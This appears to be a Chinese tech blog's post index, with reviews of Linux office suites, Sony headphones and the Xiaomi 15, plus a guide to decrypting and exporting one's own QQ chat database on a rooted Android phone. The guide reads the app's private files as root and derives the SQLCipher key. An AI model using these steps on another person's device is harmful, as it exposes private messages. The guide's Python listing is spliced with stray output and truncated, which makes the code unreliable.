Office清爽无广告，该有的基本功能也都有。不出意外的话，这已经是原生Linux办公软件中体验最好的一个了。然而在一些小细节上，雷老板的产品仍然没打磨好：比如交叉引用功能，Word会自动提取文章中已有的标签和编号格式，而WPS文字就不会，不得不手动添加标签。\nOneDrive也是个麻烦：第三方的onedriver客户端经常丢认证掉挂载，只能重新打开开关，同时用WPS也没有增量同步和自动保存。\nOffice Online：六边形战士，但六边都不长 微软原厂方案，OneDrive集成，在线编辑实时保存，不需要虚拟机或者转译，占用空间小，真有这种美事？有的兄弟有的，但这些话都只说了一半。只有最基础的功能，打开网页巨慢无比（挂了梯子），打的字时不时会被吃掉，字体都不能正常显示，操作比虚拟机还卡。套着微软的光环也不行，如果说WPS的同步和细节问题都可以克服一下，那么有以上任何一条都表示，Office Online基本是不可用的。\n我看大家也别笑金山文档、腾讯文档甚至Google Docs什么的，起码人家操作真流畅。\n虚拟机：堕落的混乱邪恶派 虚拟机纯属无奈之举呀，毕竟要划走好几个核，以及数GB的内存；明明是为了躲避垃圾Windows才装的Linux，反过来又把Windows请回来了。但除此之外基本都是优点，全功能的Office，一般不出岔子的OneDrive，剩下的缺点基本只有与GNOME桌面环境格格不入了。\nWinApps：想法很美好，但没有Wayland 虚拟机的更进一步，加入了与桌面环境的深度集成，甚至可以在主机中注册文件扩展，听起来非常美好。但装了一半才发现没有Wayland显示协议，都5202年了真有人用X11吗。\n总结 除了原生WPS和虚拟机以外都不及格。如果能忍虚拟机带来的额外开销，那么虚拟机是最好的；如果不能，我会选择WPS Office。\n","date":"March 5, 2025","matchCount":0,"permalink":"/post/microsoft-suite-linux/","preview":"","title":"在 Linux 上使用微软套件的最好办法，就是没有办法"},{"content":"一提到降噪头戴式耳机，很多人脱口而出的显然是索尼WH-1000XM系列，降噪效果优秀，降价交朋友也很勤快，属于是索尼消费级音频产品线的拳头产品。但是即使上代WH-1000XM4降完价也要1200块钱，那么大法有没有什么便宜的降噪耳机呢？有的兄弟有的，这样的产品一共有三代，索尼在2023年推出了最新的WH-CH720N，发售价900多块钱，现在已经降到了500多块钱。那么索尼会在一半的价格给到什么呢？\n设备连接与App体验 35个小时的续航基本不是吹的，日常听几乎不会遇到没电的情况。不过既然没有佩戴检测，也就更谈不上基于其做的各种省电功能了。\n和影像产品一样，索尼并没有给穷哥们单独安排一个App，和高端货用的是一样的Sound Connect（即Headphones Connect）。作为索尼的产品来说逻辑相对还算正常，起码最常用的功能一看就知道在哪里。\n双设备连接的体验是相对比较领先的，当另一个设备开始播放的时候，正在播放的设备会自动暂停，这也是大部分耳机选择的逻辑。连接控制由App完成，而非引导用户去按键，这使得可以自由控制什么时候配对另一台设备，什么时候忘掉某一台设备，甚至什么时候固定由某台设备进行播放。考虑延迟后，切换速度也是可以接受的。在无法连接更多台设备的情况下，这种程度基本上是完美的。\n除了手动均衡器外，App还支持根据用户的听感定制均衡器。均衡器的效果基本确实能满足个人的偏好，只不过高频要翘好多才能做到白开水的效果。\nApp的一大亮点是支持根据运动状态调整环境音控制模式，如走路、停留、跑步和搭乘交通工具。虽说总比没有强，识别率也还算乐观，但这个功能必须依托App才能实现，搭配某些手机厂商臭名昭著的后台控制，到头还是不方便。\n音质与调音 默认调音低频量偏大，但却不轰头，脱离了OPPO Enco X3等耳机的低级趣味，但也没往所谓的科Hi偏移多少。好在调过均衡器之后能够符合我个人偏好了，上文提到的自动听感调节大大降低了调均衡器的工作量。然而除低频下潜的质量外，我并未发现WH-CH720N的音质有什么亮眼之处；即使抛开不支持LDAC不谈，同样在AAC模式下，如高频质量与声场等方面也并未见到优势。\n降噪与通透 作为头戴式耳机，它的拿手好戏当然是高频降噪。归功于把耳朵罩起来的设计，其能够在保持佩戴舒适度的情况下，获得比入耳式耳机更好的密封效果。然而低频降噪并不出彩，怪不得降噪只有一档，多切哪怕一档都显得黄仁勋的刀法相形见绌。\n在飞机上，这款耳机的降噪效果差强人意。十几年的中年飞机机舱里难免会有些部件响动，而它的高频降噪性能很好地掩盖了这一点，哪怕不开电源，对这种噪音也有显著的抑制作用。然而低频降噪远远低于小米Buds 3 Pro，一款早在两年前就只要300块钱的入耳式TWS；耳压感也严重很多，令人长久有一种烦躁感。地铁场景的表现则不能一概而论，如长沙3号线这种噪音严重的线路，体感的噪音更是降了但没完全降，处于一个不上不下的状态；而较新的线路质量更好，这款耳机的降噪效果也就刚好能够用了。总的来说，WH-CH720N的降噪也只是在特定频段下有优势，而这种优势买个大耳罩子也能有。\n通透模式，索尼称环境音控制，反而切成了20档外加一个人声增强开关，与一般耳机降噪分档但通透不分档的设计完全相反。拉到20级基本能够正常还原环境音，这个挺不错的。\n抗风噪效果尚可，最起码不会风一吹就摆烂关闭降噪/通透。\n佩戴舒适度 包耳的设计使它注定要与耳朵上戴的东西有一定冲突，比如眼镜腿。降噪效果极其依赖于耳机与头部的贴合性，只要被眼镜腿挤开一点点，耳罩与头部出现一点缝隙，降噪效果就会大打折扣。但好消息是夹头感并不强，如果不考虑降噪，即使夹着眼镜腿也能保证佩戴的体验。继续用手按压两侧耳罩，降噪效果也并未有明显的提升，头梁的松紧度就这样卡在了一个非常平衡的位置。\n多亏了毫无质感的大塑料机身，这款耳机非常轻，与听半小时脖子开始累的AirPods Max拉开了巨大的差距。这意味着除了必要的一点夹头之外，戴上这款耳机的体验是非常舒适的。\n这款耳机几乎没有做任何的可收纳设计，只有耳机的旋转，这导致带出去基本只能挂在脖子上，这下又对标AirPods Max了（笑）。\n总结 如果不是对头戴式降噪耳机有特殊需求，我的建议是购买市场已经非常成熟非常卷的入耳式TWS耳机，500多块钱足够买一个性价比极高的产品，多的钱还能吃顿好的。如果限定在降噪头戴方面，WH-CH720N也是交出了一份合格的答卷，在App和舒适度方面甚至有一定的亮点。考虑到性价比市场也有漫步者这样的超级卷王，我建议购买前先找个体验店试试300多价位的机型，毕竟上述这些东西能不能值200块钱，还是要自己去体验一下。\n","date":"February 21, 2025","matchCount":0,"permalink":"/post/sony-wh-ch720n/","preview":"","title":"索尼 WH-CN720N：我就知道会缺点什么"},{"content":"正值2024年的最后一天，群友突发奇想，该做群聊年终总结了。而众所周知，自从QQ全平台更新到了NT架构，原有的聊天记录导出方法就全都失效了。本文记录一下根据网上现有方案导出Android版NTQQ（版本9.1.5）聊天记录的过程。\n我准备了一台root过的小米15，以及一台Linux PC。\n导出数据库1 其实由于各平台使用了统一的NT架构进行核心的消息处理，各个平台导出的数据库大同小异，但获取密钥的方式差异比较大。PC版QQ需要使用IDA进行反编译调试，试了几次并没有成功，Android设备没有root的读者可以尝试使用PC版QQ的方法，在此不详述。而root后的Android手机可以通过adb shell运行 su 切换为root用户，这样能够方便地进入QQ的私有目录浏览所需的文件。\nshell 复制代码 dada:/ $ su dada:/ # whoami root 1 2 3 dada:/ $ su dada:/ # whoami root 密钥由 uid 和 rand 两个参数生成。其中 uid 并不是用户的QQ号，而是形如 u_xxxxxxx 的一串字符串；rand 嵌在数据库文件中。\n首先获取 uid。进入 /data/data/com.tencent.mobileqq/files/uid/ 目录，其中的文件名记录了QQ号和 uid 的对应关系。\nshell 复制代码 dada:/ # ls -l /data/user/0/com.tencent.mobileqq/files/uid/ total 0 -rw------- 1 u0_a327 u0_a327 0 2023-12-22 18:49 2660000000###u_U6vwQunVqPOUxxxxxxxxxx 1 2 3 dada:/ # ls -l /data/user/0/com.tencent.mobileqq/files/uid/ total 0 -rw------- 1 u0_a327 u0_a327 0 2023-12-22 18:49 2660000000###u_U6vwQunVqPOUxxxxxxxxxx 然后获取数据库。这个时候强烈建议暂时关闭QQ的 自启动和后台运行权限，以防QQ运行时修改数据库，从而影响校验和计算和比对。其数据库保存在 /data/user/0/com.tencent.mobileqq/databases/nt_db/nt_qq_\u0026lt;QQ_path_hash\u0026gt;/nt_msg.db 中，其中 QQ_path_hash 可以在 1 页面顶部的小工具中计算得到。\nshell 复制代码 dada:/ # ls -lh /data/user/0/com.tencent.mobileqq/databases/nt_db/nt_qq_5937760ce9717f9d58748067ce3a5e3b total 3.5M ...... -rw------- 1 u0_a327 u0_a327 2.3G 2024-12-31 18:20 nt_msg.db -rw------- 1 u0_a327 u0_a327 16K 2024-12-31 15:56 nt_msg.db-first.material -rw------- 1 u0_a327 u0_a327 16K 2024-12-31 15:48 nt_msg.db-last.material -rw------- 1 u0_a327 u0_a327 32K 2024-12-31 18:21 nt_msg.db-shm -rw------- 1 u0_a327 u0_a327 499K 2024-12-31 18:21 nt_msg.db-wal ...... 1 2 3 4 5 6 7 8 9 dada:/ # ls -lh /data/user/0/com.tencent.mobileqq/databases/nt_db/nt_qq_5937760ce9717f9d58748067ce3a5e3b total 3.5M ...... -rw------- 1 u0_a327 u0_a327 2.3G 2024-12-31 18:20 nt_msg.db -rw------- 1 u0_a327 u0_a327 16K 2024-12-31 15:56 nt_msg.db-first.material -rw------- 1 u0_a327 u0_a327 16K 2024-12-31 15:48 nt_msg.db-last.material -rw------- 1 u0_a327 u0_a327 32K 2024-12-31 18:21 nt_msg.db-shm -rw------- 1 u0_a327 u0_a327 499K 2024-12-31 18:21 nt_msg.db-wal ...... 先将数据库复制到一个普通用户可以获取的位置，然后使用 adb pull 将其保存到电脑上：\nshell 复制代码 dada:/ # cp /data/user/0/com.tencent.mobileqq/databases/nt_db/nt_qq_5937760ce9717f9d58748067ce3a5e3b/nt_msg.db /sdcard/ # 这之后都在本机 shell 中运行 $ adb pull sdcard/nt_msg.db ./ sdcard/nt_msg.db: 1 file pulled, 0 skipped. 171.7 MB/s (2487477248 bytes in 13.817s) 1 2 3 4 5 dada:/ # cp /data/user/0/com.tencent.mobileqq/databases/nt_db/nt_qq_5937760ce9717f9d58748067ce3a5e3b/nt_msg.db /sdcard/ # 这之后都在本机 shell 中运行 $ adb pull sdcard/nt_msg.db ./ sdcard/nt_msg.db: 1 file pulled, 0 skipped. 171.7 MB/s (2487477248 bytes in 13.817s) 提取字符串后，建议在手机和PC上分别计算校验和，确保数据完整性。 rand 字段在数据库二进制文件的 QQ_NT 字段附近。使用 strings 提取数据库中的可读字符串，然后使用 grep 将其找出，或使用其他类似工具读取二进制文件：\nshell 复制代码 $ strings nt_msg.db | grep --context 3 \u0026#34;QQ_NT\u0026#34; SQLite header 3 QQ_NT DB Z68aUxXX 1.0.0.1\u0026#34; HMAC_SHA1 \\[`- 1 2 3 4 5 6 $ strings nt_msg.db | grep --context 3 \u0026#34;QQ_NT\u0026#34; SQLite header 3 QQ_NT DB Z68aUxXX 1.0.0.1\u0026#34; HMAC_SHA1 \\[`- 由上述信息，得到 rand 字符串为 Z68aUxXX。\n解密数据库2 先计算数据库口令，在 1 顶部的小工具中可以计算。看起来腾讯在数据库的头上加了些元数据，先把它截掉：\nshell 复制代码 tail -c \u0026#43;1025 nt_msg.db \u0026gt; nt_msg.clean.db 1 tail -c +1025 nt_msg.db \u0026gt; nt_msg.clean.db 之后用sqlcipher打开，输入以下内容，将你的口令替换进去，尝试解密：\nshell 复制代码 $ sqlcipher nt_msg.clean.db SQLite version 3.45.3 2024-04-15 13:34:05 (SQLCipher 4.6.0 community) Enter \u0026#34;.help\u0026#34; for usage hints. sqlite\u0026gt; PRAGMA key = \u0026#39;\u0026lt;your-key\u0026gt;\u0026#39;; PRAGMA kdf_iter = 4000; PRAGMA cipher_hmac_algorithm = HMAC_SHA1; ok sqlite\u0026gt; SELECT name FROM sqlite_master WHERE type=\u0026#39;table\u0026#39;; c2c_msg_table c2c_msg_flow_table group_msg_table group_msg_flow_table c2c_temp_msg_table c2c_temp_msg_flow_table ...... 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $ sqlcipher nt_msg.clean.db SQLite version 3.45.3 2024-04-15 13:34:05 (SQLCipher 4.6.0 community) Enter \u0026#34;.help\u0026#34; for usage hints. sqlite\u0026gt; PRAGMA key = \u0026#39;\u0026lt;your-key\u0026gt;\u0026#39;; PRAGMA kdf_iter = 4000; PRAGMA cipher_hmac_algorithm = HMAC_SHA1; ok sqlite\u0026gt; SELECT name FROM sqlite_master WHERE type=\u0026#39;table\u0026#39;; c2c_msg_table c2c_msg_flow_table group_msg_table group_msg_flow_table c2c_temp_msg_table c2c_temp_msg_flow_table ...... 如果能像上面这样看到表名，那么到这一步都是正确的。解密时，若按照 2 中的教程操作可能出现“database disk image is malformed”，这可能并没有出问题。这时候可以先dump下来，然后再导入未加密的SQLite数据库3：\nshell 复制代码 sqlite\u0026gt; .output nt_msg.sql sqlite\u0026gt; .dump sqlite\u0026gt; .exit $ cat nt_msg.sql | sed -e \u0026#39;s|^ROLLBACK;\\( -- due to errors\\)*$|COMMIT;|g\u0026#39; | sqlite3 nt_msg.decrypt.db 1 2 3 4 sqlite\u0026gt; .output nt_msg.sql sqlite\u0026gt; .dump sqlite\u0026gt; .exit $ cat nt_msg.sql | sed -e \u0026#39;s|^ROLLBACK;\\( -- due to errors\\)*$|COMMIT;|g\u0026#39; | sqlite3 nt_msg.decrypt.db 现在得到的 nt_msg.decrypt.db 就是解密后的数据库了，可以直接打开查看。\n导出聊天记录 数据库的schema很抽象，其中一列甚至是二进制。好在网络上已经有了数据库字段含义 4 和二进制Protobuf payload定义5，对于提取文字消息而言是非常够用的。\n首先将该链接内的Protobuf定义编译为Python类：\nshell 复制代码 protoc --python_out=. message.proto 1 protoc --python_out=. message.proto 我让Claude帮我写了一份代码，用于把特定群组的文字消息导出为JSON，包含发送方和发送时间，效果还行，搭配上述Python类食用即可，可以选择发送时间：\npython 复制代码 import sqlite3 import base64 import json from datetime import datetime import argparse from message_pb2 import Message def timestamp_to_datetime(timestamp): \u0026#34;\u0026#34;\u0026#34;将时间戳转换为可读的日期时间格式\u0026#34;\u0026#34;\u0026#34; return datetime.fromtimestamp(timestamp).strftime(\u0026#39;%Y-%m-%d %H:%M:%S\u0026#39;) def decode_message(blob_content): \u0026#34;\u0026#34;\u0026#34;解码BLOB数据并解析protobuf消息\u0026#34;\u0026#34;\u0026#34; try: message = Message() message.ParseFromString(blob_content) return message except Exception as e: print(f\u0026#34;Error decoding message: {e}\u0026#34;) return None def extract_text_messages(message): \u0026#34;\u0026#34;\u0026#34;从消息中提取文字内容\u0026#34;\u0026#34;\u0026#34; messages = [] for single_msg in message.messages: if single_msg.messageType == 1: # 文字消息 print(\u0026#34;Debug info for message:\u0026#34;) print(f\u0026#34;Raw sendTimestamp: {single_msg.sendTimestamp}\u0026#34;) print(f\u0026#34;Raw senderUid: {single_msg.senderUid}\u0026#34;) print(f\u0026#34;Raw messageText: {single_msg.messageText}\u0026#34;) print(\u0026#34;Message full content:\u0026#34;) print(single_msg) print(\u0026#34;------------------------\u0026#34;) messages.append({ \u0026#39;time\u0026#39;: timestamp_to_datetime(single_msg.sendTimestamp), \u0026#39;sender_id\u0026#39;: single_msg.senderUid, \u0026#39;content\u0026#39;: single_msg.messageText }) return messages def fetch_messages(db_path, group_id, start_time=None, end_time=None): \u0026#34;\u0026#34;\u0026#34;从数据库中获取消息\u0026#34;\u0026#34;\u0026#34; conn = sqlite3.connect(db_path) cursor = conn.cursor() query = \u0026#39;SELECT \u0026#34;40050\u0026#34;, \u0026#34;40033\u0026#34;, \u0026#34;40800\u0026#34; FROM group_msg_table WHERE \u0026#34;40027\u0026#34; = ?\u0026#39; params = [group_id] if start_time: query \u0026#43;= \u0026#39; AND \u0026#34;40050\u0026#34; \u0026gt;= ?\u0026#39; params.append(start_time) if end_time: query \u0026#43;= \u0026#39; AND \u0026#34;40050\u0026#34; \u0026lt;= ?\u0026#39; params.append(end_time) query \u0026#43;= \u0026#39; ORDER BY \u0026#34;40050\u0026#34; ASC\u0026#39; try: cursor.execute(query, params) results = cursor.fetchall() all_messages = [] for timestamp, sender_id, content in results: if content: # 确保内容不为空 message = decode_message(content) if message: # 从protobuf中只提取消息文本 for single_msg in message.messages: if single_msg.messageType == 1: # 文字消息 all_messages.append({ \u0026#39;timestamp\u0026#39;: timestamp_to_datetime(timestamp), \u0026#39;sender_id\u0026#39;: sender_id, \u0026#39;content\u0026#39;: single_msg.messageText python extract.py --help  ✔  20:21:06  usage: extract.py [-h] [--start START] [--end END] [--output OUTPUT] db_path group_id Extract QQ group chat messages positional arguments: db_path Path to the SQLite database file group_id Group ID to extract messages from options: -h, --help show this help message and exit --start START Start timestamp (optional) --end END End timestamp (optional) --output OUTPUT Output JSON file path (optional) conn.close() def main(): parser = argparse.ArgumentParser(description=\u0026#39;Extract QQ group chat messages\u0026#39;) parser.add_argument(\u0026#39;db_path\u0026#39;, help=\u0026#39;Path to the SQLite database file\u0026#39;) parser.add_argument(\u0026#39;group_id\u0026#39;, type=int, help=\u0026#39;Group ID to extract messages from\u0026#39;) parser.add_argument(\u0026#39;--start\u0026#39;, type=int, help=\u0026#39;Start timestamp (optional)\u0026#39;) parser.add_argument(\u0026#39;--end\u0026#39;, type=int, help=\u0026#39;End timestamp (optional)\u0026#39;) parser.add_argument(\u0026#39;--output\u0026#39;, help=\u0026#39;Output JSON file path (optional)\u0026#39;) args = parser.parse_args() messages = fetch_messages(args.db_path, args.group_id, args.start, args.end) # 将结果转换为JSON output = { \u0026#39;group_id\u0026#39;: args.group_id, \u0026#39;messages\u0026#39;: messages } # 输出结果 if args.output: with open(args.output, \u0026#39;w\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;) as f: json.dump(output, f, ensure_ascii=False, indent=2) else: print(json.dumps(output, ensure_ascii=False, indent=2)) if __name__ == \u0026#34;__main__\u0026#34;: main() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 import sqlite3 import base64 import json from datetime import datetime import argparse from message_pb2 import Message def timestamp_to_datetime(timestamp): \u0026#34;\u0026#34;\u0026#34;将时间戳转换为可读的日期时间格式\u0026#34;\u0026#34;\u0026#34; return datetime.fromtimestamp(timestamp).strftime(\u0026#39;%Y-%m-%d %H:%M:%S\u0026#39;) def decode_message(blob_content): \u0026#34;\u0026#34;\u0026#34;解码BLOB数据并解析protobuf消息\u0026#34;\u0026#34;\u0026#34; try: message = Message() message.ParseFromString(blob_content) return message except Exception as e: print(f\u0026#34;Error decoding message: {e}\u0026#34;) return None def extract_text_messages(message): \u0026#34;\u0026#34;\u0026#34;从消息中提取文字内容\u0026#34;\u0026#34;\u0026#34; messages = [] for single_msg in message.messages: if single_msg.messageType == 1: # 文字消息 print(\u0026#34;Debug info for message:\u0026#34;) print(f\u0026#34;Raw sendTimestamp: {single_msg.sendTimestamp}\u0026#34;) print(f\u0026#34;Raw senderUid: {single_msg.senderUid}\u0026#34;) print(f\u0026#34;Raw messageText: {single_msg.messageText}\u0026#34;) print(\u0026#34;Message full content:\u0026#34;) print(single_msg) print(\u0026#34;------------------------\u0026#34;) messages.append({ \u0026#39;time\u0026#39;: timestamp_to_datetime(single_msg.sendTimestamp), \u0026#39;sender_id\u0026#39;: single_msg.senderUid, \u0026#39;content\u0026#39;: single_msg.messageText }) return messages def fetch_messages(db_path, group_id, start_time=None, end_time=None): \u0026#34;\u0026#34;\u0026#34;从数据库中获取消息\u0026#34;\u0026#34;\u0026#34; conn = sqlite3.connect(db_path) cursor = conn.cursor() query = \u0026#39;SELECT \u0026#34;40050\u0026#34;, \u0026#34;40033\u0026#34;, \u0026#34;40800\u0026#34; FROM group_msg_table WHERE \u0026#34;40027\u0026#34; = ?\u0026#39; params = [group_id] if start_time: query += \u0026#39; AND \u0026#34;40050\u0026#34; \u0026gt;= ?\u0026#39; params.append(start_time) if end_time: query += \u0026#39; AND \u0026#34;40050\u0026#34; \u0026lt;= ?\u0026#39; params.append(end_time) query += \u0026#39; ORDER BY \u0026#34;40050\u0026#34; ASC\u0026#39; try: cursor.execute(query, params) results = cursor.fetchall() all_messages = [] for timestamp, sender_id, content in results: if content: # 确保内容不为空 message = decode_message(content) if message: # 从protobuf中只提取消息文本 for single_msg in message.messages: if single_msg.messageType == 1: # 文字消息 all_messages.append({ \u0026#39;timestamp\u0026#39;: timestamp_to_datetime(timestamp), \u0026#39;sender_id\u0026#39;: sender_id, \u0026#39;content\u0026#39;: single_msg.messageText python extract.py --help  ✔  20:21:06  usage: extract.py [-h] [--start START] [--end END] [--output OUTPUT] db_path group_id Extract QQ group chat messages positional arguments: db_path Path to the SQLite database file group_id Group ID to extract messages from options: -h, --help show this help message and exit --start START Start timestamp (optional) --end END End timestamp (optional) --output OUTPUT Output JSON file path (optional) conn.close() def main(): parser = argparse.ArgumentParser(description=\u0026#39;Extract QQ group chat messages\u0026#39;) parser.add_argument(\u0026#39;db_path\u0026#39;, help=\u0026#39;Path to the SQLite database file\u0026#39;) parser.add_argument(\u0026#39;group_id\u0026#39;, type=int, help=\u0026#39;Group ID to extract messages from\u0026#39;) parser.add_argument(\u0026#39;--start\u0026#39;, type=int, help=\u0026#39;Start timestamp (optional)\u0026#39;) parser.add_argument(\u0026#39;--end\u0026#39;, type=int, help=\u0026#39;End timestamp (optional)\u0026#39;) parser.add_argument(\u0026#39;--output\u0026#39;, help=\u0026#39;Output JSON file path (optional)\u0026#39;) args = parser.parse_args() messages = fetch_messages(args.db_path, args.group_id, args.start, args.end) # 将结果转换为JSON output = { \u0026#39;group_id\u0026#39;: args.group_id, \u0026#39;messages\u0026#39;: messages } # 输出结果 if args.output: with open(args.output, \u0026#39;w\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;) as f: json.dump(output, f, ensure_ascii=False, indent=2) else: print(json.dumps(output, ensure_ascii=False, indent=2)) if __name__ == \u0026#34;__main__\u0026#34;: main() 用法：\nshell 复制代码 $ python extract.py --help usage: extract.py [-h] [--start START] [--end END] [--output OUTPUT] db_path group_id Extract QQ group chat messages positional arguments: db_path Path to the SQLite database file group_id Group ID to extract messages from options: -h, --help show this help message and exit --start START Start timestamp (optional) --end END End timestamp (optional) --output OUTPUT Output JSON file path (optional) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ python extract.py --help usage: extract.py [-h] [--start START] [--end END] [--output OUTPUT] db_path group_id Extract QQ group chat messages positional arguments: db_path Path to the SQLite database file group_id Group ID to extract messages from options: -h, --help show this help message and exit --start START Start timestamp (optional) --end END End timestamp (optional) --output OUTPUT Output JSON file path (optional) 最后祝各位新年快乐！\nhttps://qq.sbcnm.top/decrypt/NTQQ%20(Android).html\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://qq.sbcnm.top/decrypt/NTQQ%20%E8%A7%A3%E5%AF%86%E6%95%B0%E6%8D%AE%E5%BA%93.html\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://github.com/QQBackup/QQDecrypt/blob/2b02dc97894ff0a811240b7f1647f39ab17f78cf/docs/decrypt/NTQQ%20(Windows).md?plain=1#L154\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://github.com/mobyw/GroupChatAnnualReport?tab=readme-ov-file#%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AD%97%E6%AE%B5%E5%90%AB%E4%B9%89\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nhttps://github.com/QQBackup/qq-win-db-key/issues/38#issuecomment-2294619828\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"December 31, 2024","matchCount":0,"permalink":"/post/android-qqnt-export/","preview":"","title":"记导出 Android 版 NTQQ 聊天记录"},{"content":"往常吊打友商的发布会逐渐换了方向，一打眼的参数拉个表也不见得有优势；一次次系统优化的说辞已经变成“狼来了”，金凡苦口婆心的演讲仍然打动不了网友。当最能直接刺激神经的参数斗蛐蛐逐渐落于下风，小米更加「圆滑」的新一代冲高作品，又会交出怎样的答卷？\n虽然零售铺开前大家还都将信将疑，但架不住碎屏险很香啊。大家都说小米旗舰不能冲首发，但这次我却偏要直接全款预订。毕竟不冲首发也要买碎屏险，How could it possibly go wrong?\n配置：小米15浅草绿，16GB RAM，512GB ROM。 如未提及，所有体验均基于首发前后的系统版本。\nCMF（色材工艺） 首先还是要说，做工保持了一些小米的“优良传统”。我这台绿色的音量键的公差很大，而朋友一起提的机器则好很多；某些展示机的扬声器孔排列并不与底边平行，而镜头模组四周的塑料包边和玻璃盖板之间也有一些间隙，容易藏污纳垢。抛开这些小问题不谈，小米15的外观虽然只是在前代的基础上小修小补（据称可以套上14的手机壳），但对手感却是大提升。\n手机背面。在较亮的光线下，并没有那么绿 在机身的背面，边框向内弯曲，制造了一定的弧度，免除了许多直边手机，比如iPhone 13 mini，的割手感问题。后盖玻璃和边框之间也并未出现明显的高度差与缝隙，在这一点上保持了做工的水准。相机模组周围去掉了一圈无意义的巴黎饰钉，你看还是不要跟着华为亦步亦趋的好。\n正面的四边等宽极窄黑边对观感非常加分，至于有没有影响信号，这个之后再去探讨；但我觉得已经影响耐摔了，因为文章还没写完，朋友的首发机内屏已经摔坏了，外屏却毫发无损。不过为了视觉上黑边尽量窄，边框并没有像背面那样明显地向内弯。充电口依然没有注塑，有线充用得多的话难免有磨损。\n机身厚度还算可以接受，镜头模组的凸起比12S高很多；重量分配尚可，不会明显的头重脚轻，但如果习惯单手握持时托住底部，仍然会感觉到向前倾。\n当然手感仍然是一个难以量化的东西，如果有兴趣建议直接去店里摸。我相信它会是直角边框的直屏机中，手感最好的之一；但即使如此，与12S等更小弧度更大的机型相比，仍然存在着天堑。\n性能 传说一人名唤Nuvia，窃爱剖思力空之灵魂而降下凡间。高通观其材，以为重任。乃作Oryon，……编不下去了。早在Nuvia团队在高通的第一个作品，搭载Oryon核心的骁龙X Elite发布时，许多媒体就曾提到，其微架构与苹果M系列有许多相似之处。只是骁龙X系列的笔记本价格都降不下来，Windows又祖传拖后腿，导致掩盖了Oryon的光芒。这次我可以非常肯定地说，8 Elite没翻车。\nGeekbench 6 CPU常温跑分2902/8982（链接），6℃ 冰箱跑分3068/9527（链接）；3DMark Wild Life Stress Test稳定性73.4%，Wild Life Extreme得分5719（约为RTX 4060 Ti的23%）。\nHyperOS 2 常言道，金凡一年闭关一次，一次闭关一年，老实说去年出关后还是带来一些明显的体验提升，可惜后面支棱不起来了。看起来目前的剧情走向也差不多，称不上不好，至于后面拉不拉，要等半年多后才有答案。\n传统体验 并不像前两年首发只能买到半成品，新机更新首日包后据我体验问题不大。还是有些米味bug，但称一句丝滑还是OK的。\n新版本系统优化最大的还是跟手感，包括滑动阻尼感和点按的响应速度等方面。桌面上下了大功夫，基本上是指哪打哪，甚至还有点不习惯；而这样的跟手感很可能真的归功于系统自身的优化，因为这样的跟手感是我在以前小米高性能机型上从未体验到的。桌面还添加了大量的模糊效果，据某些媒体的说法，可能是用了之前下拉通知栏同款的模糊效果，所以性能开销没有那么大。应用加载速度也有提升了，个人观察使用了非常激进的预加载。还好砍掉了坑人8GB内存版，不然不得不区别对待又要有人闹了。\n如何测量“跟手感”呢？就比如从桌面启动应用，可以用另一台手机的慢动作拍摄，测量从点按到出动画所需的时间。相机作为传统重量级杀后台项目，小米12S用了0.15s出现点按特效，又用了0.21s出现缩放动画，而小米15整个过程仅用了0.06s；国民3A大作淘宝，小米12S用时0.25s，小米15用时0.05s。当然两台手机平台不同，相机app也不完全一样，主要图一乐，但顿一下的感觉确实没有了。\n高德地图、淘宝、美团等国产3A大作的流畅度偶有掉帧，但称得上流畅，不过每个高性能机型刚发售的时候也都是这种感觉，这个仍然需要时间检验。在淘宝等app上似乎有一个比较鸡贼的策略，那就是提高阻尼感，降低滑动速度，这样同样的手势，内容的滚动速度就会更慢。但这个没有量化，图一乐。\n去年为了一个最小系统占用的flag，“瘦身”了一连串功能，包括我十分需要的日历iCloud登录；今年终于拨乱反正，克制地给系统应用加一些功能。不过更多的系统应用没啥变化，该割裂的还是割裂，感觉重点全放在基础界面上了。顺便一提，小米15官方完整包的大小超过了7GB，这也可能是内置了诸如语音转录之类模型的原因。\n比如应用详情页面也算是拨乱反正，之前电量消耗和省电策略、流量消耗和联网控制分开我就忍了，“权限管理”“应用管理措施”都分成两个，就真的不能理解了。这次一合并就简单多了。\n合并前后的应用信息页 由“屏幕时间管理”升级来的新版“健康使用手机”功能并不是简单的改名，而是加入了健康用眼检测，依赖的可能也是类似于注视感知的东西。它会识别你的动作，如距离过近、长时间用眼、躺卧用眼等，并给出提示，以及统计不健康用眼的时间。由于一般使用时都是直盯手机，这个比注视AOD要灵敏不少。然而 禅定 专注模式的入口不知道被藏到哪里去了，只能搜索找到。\n小插曲还是有一个的。在等待解BL锁的72小时内，我登录了Google账户，下了些软件；而到解锁清除数据后，突然发现死活设置不了锁屏密码。一查才发现，在Android 15下，恢复出厂后需要重新登陆Google账户才能设置锁屏密码，而国行机器由于你懂的原因并没有这一步明确提示。\nAI 许多AI功能已经在新系统上得到了实装（或者改名），事实证明也并非都是噱头。但我觉得目前很大的一个问题是，有哪些功能是可以完全离线的，有哪些是使用了云端模型，有哪些虽然使用了端侧模型但需要联网。由于国内的审核政策限制，恐怕第三种方式会比想象中多。\n曾经一台小米手机上有三个不同的语音转录方式：小爱字幕、小米闻声和录音机转录，除讯飞听见外，均使用离线转录。然而新系统上把小米闻声砍掉了，然后给录音机加上了实时转录功能。转录要联网，目前不知道是在线转录还是在线审核输出内容。至于转录效果如何，我使用手机录音机录了一段某湖南塑普课程的音频，分别使用录音机实时转录、录音机后期转录和 Belle-whisper-large-v3-punct 